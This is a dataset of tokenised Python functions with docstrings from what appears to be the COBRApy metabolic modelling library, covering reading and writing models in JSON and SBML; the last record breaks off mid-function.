{"signature": "def model_from_dict(obj):", "body": "if '<STR_LIT>' not in obj:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>model = Model()<EOL>model.add_metabolites(<EOL>[metabolite_from_dict(metabolite) for metabolite in obj['<STR_LIT>']]<EOL>)<EOL>model.genes.extend([gene_from_dict(gene) for gene in obj['<STR_LIT>']])<EOL>model.add_reactions(<EOL>[reaction_from_dict(reaction, model) for reaction in obj['<STR_LIT>']]<EOL>)<EOL>objective_reactions = [rxn for rxn in obj['<STR_LIT>'] if<EOL>rxn.get('<STR_LIT>', <NUM_LIT:0>) != <NUM_LIT:0>]<EOL>coefficients = {<EOL>model.reactions.get_by_id(rxn['<STR_LIT:id>']): rxn['<STR_LIT>'] for<EOL>rxn in objective_reactions}<EOL>set_objective(model, coefficients)<EOL>for k, v in iteritems(obj):<EOL><INDENT>if k in {'<STR_LIT:id>', '<STR_LIT:name>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'}:<EOL><INDENT>setattr(model, k, v)<EOL><DEDENT><DEDENT>return model<EOL>", "docstring": "Build a model from a dict.\n\n    Models stored in json are first formulated as a dict that can be read to\n    cobra model using this function.\n\n    Parameters\n    ----------\n    obj : dict\n        A dictionary with elements, 'genes', 'compartments', 'id',\n        'metabolites', 'notes' and 'reactions'; where 'metabolites', 'genes'\n        and 'metabolites' are in turn lists with dictionaries holding all\n        attributes to form the corresponding object.\n\n    Returns\n    -------\n    cora.core.Model\n        The generated model.\n\n    See Also\n    --------\n    cobra.io.model_to_dict", "id": "f15887:m9"}
{"signature": "def _clip(sid, prefix):", "body": "return sid[len(prefix):] if sid.startswith(prefix) else sid<EOL>", "docstring": "Clips a prefix from the beginning of a string if it exists.", "id": "f15889:m0"}
{"signature": "def _f_gene(sid, prefix=\"<STR_LIT>\"):", "body": "sid = sid.replace(SBML_DOT, \"<STR_LIT:.>\")<EOL>return _clip(sid, prefix)<EOL>", "docstring": "Clips gene prefix from id.", "id": "f15889:m1"}
{"signature": "def _f_gene_rev(sid, prefix=\"<STR_LIT>\"):", "body": "return prefix + sid.replace(\"<STR_LIT:.>\", SBML_DOT)<EOL>", "docstring": "Adds gene prefix to id.", "id": "f15889:m2"}
{"signature": "def _f_specie(sid, prefix=\"<STR_LIT>\"):", "body": "return _clip(sid, prefix)<EOL>", "docstring": "Clips specie/metabolite prefix from id.", "id": "f15889:m3"}
{"signature": "def _f_specie_rev(sid, prefix=\"<STR_LIT>\"):", "body": "return prefix + sid<EOL>", "docstring": "Adds specie/metabolite prefix to id.", "id": "f15889:m4"}
{"signature": "def _f_reaction(sid, prefix=\"<STR_LIT>\"):", "body": "return _clip(sid, prefix)<EOL>", "docstring": "Clips reaction prefix from id.", "id": "f15889:m5"}
{"signature": "def _f_reaction_rev(sid, prefix=\"<STR_LIT>\"):", "body": "return prefix + sid<EOL>", "docstring": "Adds reaction prefix to id.", "id": "f15889:m6"}
{"signature": "def read_sbml_model(filename, number=float, f_replace=F_REPLACE,<EOL>set_missing_bounds=False, **kwargs):", "body": "try:<EOL><INDENT>doc = _get_doc_from_filename(filename)<EOL>return _sbml_to_model(doc,<EOL>number=number,<EOL>f_replace=f_replace,<EOL>set_missing_bounds=set_missing_bounds,<EOL>**kwargs)<EOL><DEDENT>except IOError as e:<EOL><INDENT>raise e<EOL><DEDENT>except Exception:<EOL><INDENT>LOGGER.error(traceback.print_exc())<EOL>raise CobraSBMLError(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Reads SBML model from given filename.\n\n    If the given filename ends with the suffix ''.gz'' (for example,\n    ''myfile.xml.gz'),' the file is assumed to be compressed in gzip\n    format and will be automatically decompressed upon reading. Similarly,\n    if the given filename ends with ''.zip'' or ''.bz2',' the file is\n    assumed to be compressed in zip or bzip2 format (respectively).  Files\n    whose names lack these suffixes will be read uncompressed.  Note that\n    if the file is in zip format but the archive contains more than one\n    file, only the first file in the archive will be read and the rest\n    ignored.\n\n    To read a gzip/zip file, libSBML needs to be configured and linked\n    with the zlib library at compile time.  It also needs to be linked\n    with the bzip2 library to read files in bzip2 format.  (Both of these\n    are the default configurations for libSBML.)\n\n    This function supports SBML with FBC-v1 and FBC-v2. FBC-v1 models\n    are converted to FBC-v2 models before reading.\n\n    The parser tries to fall back to information in notes dictionaries\n    if information is not available in the FBC packages, e.g.,\n    CHARGE, FORMULA on species, or GENE_ASSOCIATION, SUBSYSTEM on reactions.\n\n    Parameters\n    ----------\n    filename : path to SBML file, or SBML string, or SBML file handle\n        SBML which is read into cobra model\n    number: data type of stoichiometry: {float, int}\n        In which data type should the stoichiometry be parsed.\n    f_replace : dict of replacement functions for id replacement\n        Dictionary of replacement functions for gene, specie, and reaction.\n        By default the following id changes are performed on import:\n        clip G_ from genes, clip M_ from species, clip R_ from reactions\n        If no replacements should be performed, set f_replace={}, None\n    set_missing_bounds : boolean flag to set missing bounds\n        Missing bounds are set to default bounds in configuration.\n\n    Returns\n    -------\n    cobra.core.Model\n\n    Notes\n    -----\n    Provided file handles cannot be opened in binary mode, i.e., use\n        with open(path, \"r\" as f):\n            read_sbml_model(f)\n    File handles to compressed files are not supported yet.", "id": "f15889:m7"}
{"signature": "def _get_doc_from_filename(filename):", "body": "if isinstance(filename, string_types):<EOL><INDENT>if (\"<STR_LIT>\" in platform) and (len(filename) < <NUM_LIT>)and os.path.exists(filename):<EOL><INDENT>doc = libsbml.readSBMLFromFile(filename)  <EOL><DEDENT>elif (\"<STR_LIT>\" not in platform) and os.path.exists(filename):<EOL><INDENT>doc = libsbml.readSBMLFromFile(filename)  <EOL><DEDENT>else:<EOL><INDENT>if \"<STR_LIT>\" not in filename:<EOL><INDENT>raise IOError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\", filename)<EOL><DEDENT>doc = libsbml.readSBMLFromString(filename)  <EOL><DEDENT><DEDENT>elif hasattr(filename, \"<STR_LIT>\"):<EOL><INDENT>doc = libsbml.readSBMLFromString(filename.read())  <EOL><DEDENT>else:<EOL><INDENT>raise CobraSBMLError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\", type(filename))<EOL><DEDENT>return doc<EOL>", "docstring": "Get SBMLDocument from given filename.\n\n    Parameters\n    ----------\n    filename : path to SBML, or SBML string, or filehandle\n\n    Returns\n    -------\n    libsbml.SBMLDocument", "id": "f15889:m8"}
{"signature": "def _sbml_to_model(doc, number=float, f_replace=F_REPLACE,<EOL>set_missing_bounds=False, **kwargs):", "body": "if f_replace is None:<EOL><INDENT>f_replace = {}<EOL><DEDENT>model = doc.getModel()  <EOL>if model is None:<EOL><INDENT>raise CobraSBMLError(\"<STR_LIT>\")<EOL><DEDENT>model_fbc = model.getPlugin(\"<STR_LIT>\")  <EOL>if not model_fbc:<EOL><INDENT>LOGGER.warning(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>if not model_fbc.isSetStrict():<EOL><INDENT>LOGGER.warning('<STR_LIT>')<EOL><DEDENT>doc_fbc = doc.getPlugin(\"<STR_LIT>\")  <EOL>fbc_version = doc_fbc.getPackageVersion()<EOL>if fbc_version == <NUM_LIT:1>:<EOL><INDENT>LOGGER.warning(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>conversion_properties = libsbml.ConversionProperties()<EOL>conversion_properties.addOption(\"<STR_LIT>\", True,<EOL>\"<STR_LIT>\")<EOL>result = doc.convert(conversion_properties)<EOL>if result != libsbml.LIBSBML_OPERATION_SUCCESS:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT><DEDENT><DEDENT>cobra_model = Model(model.getId())<EOL>cobra_model.name = model.getName()<EOL>meta = {<EOL>\"<STR_LIT>\": model.getId(),<EOL>\"<STR_LIT>\": model.getLevel(),<EOL>\"<STR_LIT:version>\": model.getVersion(),<EOL>\"<STR_LIT>\": []<EOL>}<EOL>creators = []<EOL>created = None<EOL>if model.isSetModelHistory():<EOL><INDENT>history = model.getModelHistory()  <EOL>if history.isSetCreatedDate():<EOL><INDENT>created = history.getCreatedDate()<EOL><DEDENT>for c in history.getListCreators():  <EOL><INDENT>creators.append({<EOL>\"<STR_LIT>\": c.getFamilyName() if c.isSetFamilyName() else None,  <EOL>\"<STR_LIT>\": c.getGivenName() if c.isSetGivenName() else None,<EOL>\"<STR_LIT>\": c.getOrganisation() if c.isSetOrganisation() else None,  <EOL>\"<STR_LIT:email>\": c.getEmail() if c.isSetEmail() else None,<EOL>})<EOL><DEDENT><DEDENT>meta[\"<STR_LIT>\"] = creators<EOL>meta[\"<STR_LIT>\"] = created<EOL>meta[\"<STR_LIT>\"] = _parse_notes_dict(doc)<EOL>meta[\"<STR_LIT>\"] = _parse_annotations(doc)<EOL>info = \"<STR_LIT>\".format(model.getId(),<EOL>model.getLevel(), model.getVersion())<EOL>packages = {}<EOL>for k in range(doc.getNumPlugins()):<EOL><INDENT>plugin = doc.getPlugin(k)  <EOL>key, value = plugin.getPackageName(), plugin.getPackageVersion()<EOL>packages[key] = value<EOL>info += \"<STR_LIT>\".format(key, value)<EOL>if key not in [\"<STR_LIT>\", \"<STR_LIT>\"]:<EOL><INDENT>LOGGER.warning(\"<STR_LIT>\"<EOL>\"<STR_LIT>\", key)<EOL><DEDENT><DEDENT>meta[\"<STR_LIT:info>\"] = info<EOL>meta[\"<STR_LIT>\"] = packages<EOL>cobra_model._sbml = meta<EOL>cobra_model.notes = _parse_notes_dict(model)<EOL>cobra_model.annotation = _parse_annotations(model)<EOL>cobra_model.compartments = {c.getId(): c.getName()<EOL>for c in model.getListOfCompartments()}<EOL>metabolites = []<EOL>boundary_metabolites = []<EOL>if model.getNumSpecies() == <NUM_LIT:0>:<EOL><INDENT>LOGGER.warning(\"<STR_LIT>\")<EOL><DEDENT>for specie in model.getListOfSpecies():  <EOL><INDENT>sid = _check_required(specie, specie.getId(), \"<STR_LIT:id>\")<EOL>if f_replace and F_SPECIE in f_replace:<EOL><INDENT>sid = f_replace[F_SPECIE](sid)<EOL><DEDENT>met = Metabolite(sid)<EOL>met.name = specie.getName()<EOL>met.notes = _parse_notes_dict(specie)<EOL>met.annotation = _parse_annotations(specie)<EOL>met.compartment = specie.getCompartment()<EOL>specie_fbc = specie.getPlugin(\"<STR_LIT>\")  <EOL>if specie_fbc:<EOL><INDENT>met.charge = specie_fbc.getCharge()<EOL>met.formula = specie_fbc.getChemicalFormula()<EOL><DEDENT>else:<EOL><INDENT>if specie.isSetCharge():<EOL><INDENT>LOGGER.warning(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\", specie)<EOL>met.charge = specie.getCharge()<EOL><DEDENT>else:<EOL><INDENT>if '<STR_LIT>' in met.notes:<EOL><INDENT>LOGGER.warning(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\", specie)<EOL>try:<EOL><INDENT>met.charge = int(met.notes['<STR_LIT>'])<EOL><DEDENT>except ValueError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT><DEDENT>if '<STR_LIT>' in met.notes:<EOL><INDENT>LOGGER.warning(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\", specie)<EOL>met.formula = met.notes['<STR_LIT>']<EOL><DEDENT><DEDENT>if specie.getBoundaryCondition() is True:<EOL><INDENT>boundary_metabolites.append(met)<EOL><DEDENT>metabolites.append(met)<EOL><DEDENT>cobra_model.add_metabolites(metabolites)<EOL>ex_reactions = []<EOL>for met in boundary_metabolites:<EOL><INDENT>ex_rid = \"<STR_LIT>\".format(met.id)<EOL>ex_reaction = Reaction(ex_rid)<EOL>ex_reaction.name = ex_rid<EOL>ex_reaction.annotation = {<EOL>'<STR_LIT>': SBO_EXCHANGE_REACTION<EOL>}<EOL>ex_reaction.lower_bound = -float(\"<STR_LIT>\")<EOL>ex_reaction.upper_bound = float(\"<STR_LIT>\")<EOL>LOGGER.warning(\"<STR_LIT>\"<EOL>\"<STR_LIT:%s>\" % (ex_reaction.id, met.id))<EOL>ex_reaction.add_metabolites({met: -<NUM_LIT:1>})<EOL>ex_reactions.append(ex_reaction)<EOL><DEDENT>cobra_model.add_reactions(ex_reactions)<EOL>if model_fbc:<EOL><INDENT>for gp in model_fbc.getListOfGeneProducts():  <EOL><INDENT>gid = gp.getId()<EOL>if f_replace and F_GENE in f_replace:<EOL><INDENT>gid = f_replace[F_GENE](gid)<EOL><DEDENT>cobra_gene = Gene(gid)<EOL>cobra_gene.name = gp.getName()<EOL>if cobra_gene.name is None:<EOL><INDENT>cobra_gene.name = gid<EOL><DEDENT>cobra_gene.annotation = _parse_annotations(gp)<EOL>cobra_gene.notes = _parse_notes_dict(gp)<EOL>cobra_model.genes.append(cobra_gene)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>for cobra_reaction in model.getListOfReactions():  <EOL><INDENT>notes = _parse_notes_dict(cobra_reaction)<EOL>if \"<STR_LIT>\" in notes:<EOL><INDENT>gpr = notes['<STR_LIT>']<EOL><DEDENT>elif \"<STR_LIT>\" in notes:<EOL><INDENT>gpr = notes['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>gpr = '<STR_LIT>'<EOL><DEDENT>if len(gpr) > <NUM_LIT:0>:<EOL><INDENT>gpr = gpr.replace(\"<STR_LIT:(>\", \"<STR_LIT:;>\")<EOL>gpr = gpr.replace(\"<STR_LIT:)>\", \"<STR_LIT:;>\")<EOL>gpr = gpr.replace(\"<STR_LIT>\", \"<STR_LIT:;>\")<EOL>gpr = gpr.replace(\"<STR_LIT>\", \"<STR_LIT:;>\")<EOL>gids = [t.strip() for t in gpr.split('<STR_LIT:;>')]<EOL>for gid in gids:<EOL><INDENT>if f_replace and F_GENE in f_replace:<EOL><INDENT>gid = f_replace[F_GENE](gid)<EOL><DEDENT>if gid not in cobra_model.genes:<EOL><INDENT>cobra_gene = Gene(gid)<EOL>cobra_gene.name = gid<EOL>cobra_model.genes.append(cobra_gene)<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>def process_association(ass):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if ass.isFbcOr():<EOL><INDENT>return \"<STR_LIT:U+0020>\".join(<EOL>[\"<STR_LIT:(>\", '<STR_LIT>'.join(process_association(c)<EOL>for c in ass.getListOfAssociations()), \"<STR_LIT:)>\"]<EOL>)<EOL><DEDENT>elif ass.isFbcAnd():<EOL><INDENT>return \"<STR_LIT:U+0020>\".join(<EOL>[\"<STR_LIT:(>\", '<STR_LIT>'.join(process_association(c)<EOL>for c in ass.getListOfAssociations()), \"<STR_LIT:)>\"])<EOL><DEDENT>elif ass.isGeneProductRef():<EOL><INDENT>gid = ass.getGeneProduct()<EOL>if f_replace and F_GENE in f_replace:<EOL><INDENT>return f_replace[F_GENE](gid)<EOL><DEDENT>else:<EOL><INDENT>return gid<EOL><DEDENT><DEDENT><DEDENT>missing_bounds = False<EOL>reactions = []<EOL>if model.getNumReactions() == <NUM_LIT:0>:<EOL><INDENT>LOGGER.warning(\"<STR_LIT>\")<EOL><DEDENT>for reaction in model.getListOfReactions():  <EOL><INDENT>rid = _check_required(reaction, reaction.getId(), \"<STR_LIT:id>\")<EOL>if f_replace and F_REACTION in f_replace:<EOL><INDENT>rid = f_replace[F_REACTION](rid)<EOL><DEDENT>cobra_reaction = Reaction(rid)<EOL>cobra_reaction.name = reaction.getName()<EOL>cobra_reaction.annotation = _parse_annotations(reaction)<EOL>cobra_reaction.notes = _parse_notes_dict(reaction)<EOL>p_ub, p_lb = None, None<EOL>r_fbc = reaction.getPlugin(\"<STR_LIT>\")  <EOL>if r_fbc:<EOL><INDENT>lb_id = r_fbc.getLowerFluxBound()<EOL>if lb_id:<EOL><INDENT>p_lb = model.getParameter(lb_id)  <EOL>if p_lb and p_lb.getConstant() and(p_lb.getValue() is not None):<EOL><INDENT>cobra_reaction.lower_bound = p_lb.getValue()<EOL><DEDENT>else:<EOL><INDENT>raise CobraSBMLError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (p_lb, reaction))<EOL><DEDENT><DEDENT>ub_id = r_fbc.getUpperFluxBound()<EOL>if ub_id:<EOL><INDENT>p_ub = model.getParameter(ub_id)  <EOL>if p_ub and p_ub.getConstant() and(p_ub.getValue() is not None):<EOL><INDENT>cobra_reaction.upper_bound = p_ub.getValue()<EOL><DEDENT>else:<EOL><INDENT>raise CobraSBMLError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (p_ub, reaction))<EOL><DEDENT><DEDENT><DEDENT>elif reaction.isSetKineticLaw():<EOL><INDENT>klaw = reaction.getKineticLaw()  <EOL>p_lb = klaw.getParameter(\"<STR_LIT>\")  <EOL>if p_lb:<EOL><INDENT>cobra_reaction.lower_bound = p_lb.getValue()<EOL><DEDENT>p_ub = klaw.getParameter(\"<STR_LIT>\")  <EOL>if p_ub:<EOL><INDENT>cobra_reaction.upper_bound = p_ub.getValue()<EOL><DEDENT>if p_ub is not None or p_lb is not None:<EOL><INDENT>LOGGER.warning(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\", reaction)<EOL><DEDENT><DEDENT>if p_lb is None:<EOL><INDENT>missing_bounds = True<EOL>if set_missing_bounds:<EOL><INDENT>lower_bound = config.lower_bound<EOL><DEDENT>else:<EOL><INDENT>lower_bound = -float(\"<STR_LIT>\")<EOL><DEDENT>cobra_reaction.lower_bound = lower_bound<EOL>LOGGER.warning(\"<STR_LIT>\"<EOL>\"<STR_LIT>\", lower_bound, reaction)<EOL><DEDENT>if p_ub is None:<EOL><INDENT>missing_bounds = True<EOL>if set_missing_bounds:<EOL><INDENT>upper_bound = config.upper_bound<EOL><DEDENT>else:<EOL><INDENT>upper_bound = float(\"<STR_LIT>\")<EOL><DEDENT>cobra_reaction.upper_bound = upper_bound<EOL>LOGGER.warning(\"<STR_LIT>\"<EOL>\"<STR_LIT>\", upper_bound, reaction)<EOL><DEDENT>reactions.append(cobra_reaction)<EOL>stoichiometry = defaultdict(lambda: <NUM_LIT:0>)<EOL>for sref in reaction.getListOfReactants():  <EOL><INDENT>sid = sref.getSpecies()<EOL>if f_replace and F_SPECIE in f_replace:<EOL><INDENT>sid = f_replace[F_SPECIE](sid)<EOL><DEDENT>stoichiometry[sid] -= number(<EOL>_check_required(sref, sref.getStoichiometry(),<EOL>\"<STR_LIT>\"))<EOL><DEDENT>for sref in reaction.getListOfProducts():  <EOL><INDENT>sid = sref.getSpecies()<EOL>if f_replace and F_SPECIE in f_replace:<EOL><INDENT>sid = f_replace[F_SPECIE](sid)<EOL><DEDENT>stoichiometry[sid] += number(<EOL>_check_required(sref, sref.getStoichiometry(),<EOL>\"<STR_LIT>\"))<EOL><DEDENT>object_stoichiometry = {}<EOL>for met_id in stoichiometry:<EOL><INDENT>metabolite = cobra_model.metabolites.get_by_id(met_id)<EOL>object_stoichiometry[metabolite] = stoichiometry[met_id]<EOL><DEDENT>cobra_reaction.add_metabolites(object_stoichiometry)<EOL>if r_fbc:<EOL><INDENT>gpr = '<STR_LIT>'<EOL>gpa = r_fbc.getGeneProductAssociation()  <EOL>if gpa is not None:<EOL><INDENT>association = gpa.getAssociation()  <EOL>gpr = process_association(association)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>notes = cobra_reaction.notes<EOL>if \"<STR_LIT>\" in notes:<EOL><INDENT>gpr = notes['<STR_LIT>']<EOL><DEDENT>elif \"<STR_LIT>\" in notes:<EOL><INDENT>gpr = notes['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>gpr = '<STR_LIT>'<EOL><DEDENT>if len(gpr) > <NUM_LIT:0>:<EOL><INDENT>LOGGER.warning(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\", reaction)<EOL>if f_replace and F_GENE in f_replace:<EOL><INDENT>gpr = \"<STR_LIT:U+0020>\".join(<EOL>f_replace[F_GENE](t) for t in gpr.split('<STR_LIT:U+0020>')<EOL>)<EOL><DEDENT><DEDENT><DEDENT>if gpr.startswith(\"<STR_LIT:(>\") and gpr.endswith(\"<STR_LIT:)>\"):<EOL><INDENT>gpr = gpr[<NUM_LIT:1>:-<NUM_LIT:1>].strip()<EOL><DEDENT>cobra_reaction.gene_reaction_rule = gpr<EOL><DEDENT>cobra_model.add_reactions(reactions)<EOL>obj_direction = \"<STR_LIT>\"<EOL>coefficients = {}<EOL>if model_fbc:<EOL><INDENT>obj_list = model_fbc.getListOfObjectives()  <EOL>if obj_list is None:<EOL><INDENT>LOGGER.warning(\"<STR_LIT>\")<EOL><DEDENT>elif obj_list.size() == <NUM_LIT:0>:<EOL><INDENT>LOGGER.warning(\"<STR_LIT>\")<EOL><DEDENT>elif not obj_list.getActiveObjective():<EOL><INDENT>LOGGER.warning(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>obj_id = obj_list.getActiveObjective()<EOL>obj = model_fbc.getObjective(obj_id)  <EOL>obj_direction = LONG_SHORT_DIRECTION[obj.getType()]<EOL>for flux_obj in obj.getListOfFluxObjectives():  <EOL><INDENT>rid = flux_obj.getReaction()<EOL>if f_replace and F_REACTION in f_replace:<EOL><INDENT>rid = f_replace[F_REACTION](rid)<EOL><DEDENT>try:<EOL><INDENT>objective_reaction = cobra_model.reactions.get_by_id(rid)<EOL><DEDENT>except KeyError:<EOL><INDENT>raise CobraSBMLError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % rid)<EOL><DEDENT>try:<EOL><INDENT>coefficients[objective_reaction] = number(<EOL>flux_obj.getCoefficient()<EOL>)<EOL><DEDENT>except ValueError as e:<EOL><INDENT>LOGGER.warning(str(e))<EOL><DEDENT><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>for reaction in model.getListOfReactions():  <EOL><INDENT>if reaction.isSetKineticLaw():<EOL><INDENT>klaw = reaction.getKineticLaw()  <EOL>p_oc = klaw.getParameter(<EOL>\"<STR_LIT>\")  <EOL>if p_oc:<EOL><INDENT>rid = reaction.getId()<EOL>if f_replace and F_REACTION in f_replace:<EOL><INDENT>rid = f_replace[F_REACTION](rid)<EOL><DEDENT>try:<EOL><INDENT>objective_reaction = cobra_model.reactions.get_by_id(<EOL>rid)<EOL><DEDENT>except KeyError:<EOL><INDENT>raise CobraSBMLError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\", rid)<EOL><DEDENT>try:<EOL><INDENT>coefficients[objective_reaction] = number(<EOL>p_oc.getValue())<EOL><DEDENT>except ValueError as e:<EOL><INDENT>LOGGER.warning(str(e))<EOL><DEDENT>LOGGER.warning(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\", cobra_reaction)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>if len(coefficients) == <NUM_LIT:0>:<EOL><INDENT>LOGGER.error(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>set_objective(cobra_model, coefficients)<EOL>cobra_model.solver.objective.direction = obj_direction<EOL>model_groups = model.getPlugin(\"<STR_LIT>\")  <EOL>groups = []<EOL>if model_groups:<EOL><INDENT>sid_map = {}<EOL>metaid_map = {}<EOL>for obj_list in [model.getListOfCompartments(),<EOL>model.getListOfSpecies(),<EOL>model.getListOfReactions(),<EOL>model_groups.getListOfGroups()]:<EOL><INDENT>for sbase in obj_list:  <EOL><INDENT>if sbase.isSetId():<EOL><INDENT>sid_map[sbase.getId()] = sbase<EOL><DEDENT>if sbase.isSetMetaId():<EOL><INDENT>metaid_map[sbase.getMetaId()] = sbase<EOL><DEDENT><DEDENT><DEDENT>for group in model_groups.getListOfGroups():  <EOL><INDENT>cobra_group = Group(group.getId())<EOL>cobra_group.name = group.getName()<EOL>if group.isSetKind():<EOL><INDENT>cobra_group.kind = group.getKindAsString()<EOL><DEDENT>cobra_group.annotation = _parse_annotations(group)<EOL>cobra_group.notes = _parse_notes_dict(group)<EOL>cobra_members = []<EOL>for member in group.getListOfMembers():  <EOL><INDENT>if member.isSetIdRef():<EOL><INDENT>obj = sid_map[member.getIdRef()]<EOL><DEDENT>elif member.isSetMetaIdRef():<EOL><INDENT>obj = metaid_map[member.getMetaIdRef()]<EOL><DEDENT>typecode = obj.getTypeCode()<EOL>obj_id = obj.getId()<EOL>cobra_member = None<EOL>if typecode == libsbml.SBML_SPECIES:<EOL><INDENT>if f_replace and F_SPECIE in f_replace:<EOL><INDENT>obj_id = f_replace[F_SPECIE](obj_id)<EOL><DEDENT>cobra_member = cobra_model.metabolites.get_by_id(obj_id)<EOL><DEDENT>elif typecode == libsbml.SBML_REACTION:<EOL><INDENT>if f_replace and F_REACTION in f_replace:<EOL><INDENT>obj_id = f_replace[F_REACTION](obj_id)<EOL><DEDENT>cobra_member = cobra_model.reactions.get_by_id(obj_id)<EOL><DEDENT>elif typecode == libsbml.SBML_FBC_GENEPRODUCT:<EOL><INDENT>if f_replace and F_GENE in f_replace:<EOL><INDENT>obj_id = f_replace[F_GENE](obj_id)<EOL><DEDENT>cobra_member = cobra_model.genes.get_by_id(obj_id)<EOL><DEDENT>else:<EOL><INDENT>LOGGER.warning(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT:%s>\" % (member, group, typecode))<EOL><DEDENT>if cobra_member:<EOL><INDENT>cobra_members.append(cobra_member)<EOL><DEDENT><DEDENT>cobra_group.add_members(cobra_members)<EOL>groups.append(cobra_group)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>groups_dict = {}<EOL>for cobra_reaction in cobra_model.reactions:<EOL><INDENT>if \"<STR_LIT>\" in cobra_reaction.notes:<EOL><INDENT>g_name = cobra_reaction.notes[\"<STR_LIT>\"]<EOL>if g_name in groups_dict:<EOL><INDENT>groups_dict[g_name].append(cobra_reaction)<EOL><DEDENT>else:<EOL><INDENT>groups_dict[g_name] = [cobra_reaction]<EOL><DEDENT><DEDENT><DEDENT>for gid, cobra_members in groups_dict.items():<EOL><INDENT>cobra_group = Group(gid, name=gid, kind=\"<STR_LIT>\")<EOL>cobra_group.add_members(cobra_members)<EOL>groups.append(cobra_group)<EOL><DEDENT><DEDENT>cobra_model.add_groups(groups)<EOL>if missing_bounds and not set_missing_bounds:<EOL><INDENT>LOGGER.warning(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>return cobra_model<EOL>", "docstring": "Creates cobra model from SBMLDocument.\n\n    Parameters\n    ----------\n    doc: libsbml.SBMLDocument\n    number: data type of stoichiometry: {float, int}\n        In which data type should the stoichiometry be parsed.\n    f_replace : dict of replacement functions for id replacement\n    set_missing_bounds : flag to set missing bounds\n\n    Returns\n    -------\n    cobra.core.Model", "id": "f15889:m9"}
{"signature": "def write_sbml_model(cobra_model, filename, f_replace=F_REPLACE, **kwargs):", "body": "doc = _model_to_sbml(cobra_model, f_replace=f_replace, **kwargs)<EOL>if isinstance(filename, string_types):<EOL><INDENT>libsbml.writeSBMLToFile(doc, filename)<EOL><DEDENT>elif hasattr(filename, \"<STR_LIT>\"):<EOL><INDENT>sbml_str = libsbml.writeSBMLToString(doc)<EOL>filename.write(sbml_str)<EOL><DEDENT>", "docstring": "Writes cobra model to filename.\n\n    The created model is SBML level 3 version 1 (L1V3) with\n    fbc package v2 (fbc-v2).\n\n    If the given filename ends with the suffix \".gz\" (for example,\n    \"myfile.xml.gz\"), libSBML assumes the caller wants the file to be\n    written compressed in gzip format. Similarly, if the given filename\n    ends with \".zip\" or \".bz2\", libSBML assumes the caller wants the\n    file to be compressed in zip or bzip2 format (respectively). Files\n    whose names lack these suffixes will be written uncompressed. Special\n    considerations for the zip format: If the given filename ends with\n    \".zip\", the file placed in the zip archive will have the suffix\n    \".xml\" or \".sbml\".  For example, the file in the zip archive will\n    be named \"test.xml\" if the given filename is \"test.xml.zip\" or\n    \"test.zip\". Similarly, the filename in the archive will be\n    \"test.sbml\" if the given filename is \"test.sbml.zip\".\n\n    Parameters\n    ----------\n    cobra_model : cobra.core.Model\n        Model instance which is written to SBML\n    filename : string\n        path to which the model is written\n    use_fbc_package : boolean {True, False}\n        should the fbc package be used\n    f_replace: dict of replacement functions for id replacement", "id": "f15889:m10"}
{"signature": "def _model_to_sbml(cobra_model, f_replace=None, units=True):", "body": "if f_replace is None:<EOL><INDENT>f_replace = {}<EOL><DEDENT>sbml_ns = libsbml.SBMLNamespaces(<NUM_LIT:3>, <NUM_LIT:1>)  <EOL>sbml_ns.addPackageNamespace(\"<STR_LIT>\", <NUM_LIT:2>)  <EOL>doc = libsbml.SBMLDocument(sbml_ns)  <EOL>doc.setPackageRequired(\"<STR_LIT>\", False)<EOL>doc.setSBOTerm(SBO_FBA_FRAMEWORK)<EOL>model = doc.createModel()  <EOL>model_fbc = model.getPlugin(\"<STR_LIT>\")  <EOL>model_fbc.setStrict(True)<EOL>if cobra_model.id is not None:<EOL><INDENT>model.setId(cobra_model.id)<EOL>model.setMetaId(\"<STR_LIT>\" + cobra_model.id)<EOL><DEDENT>else:<EOL><INDENT>model.setMetaId(\"<STR_LIT>\")<EOL><DEDENT>if cobra_model.name is not None:<EOL><INDENT>model.setName(cobra_model.name)<EOL><DEDENT>_sbase_annotations(model, cobra_model.annotation)<EOL>if hasattr(cobra_model, \"<STR_LIT>\"):<EOL><INDENT>meta = 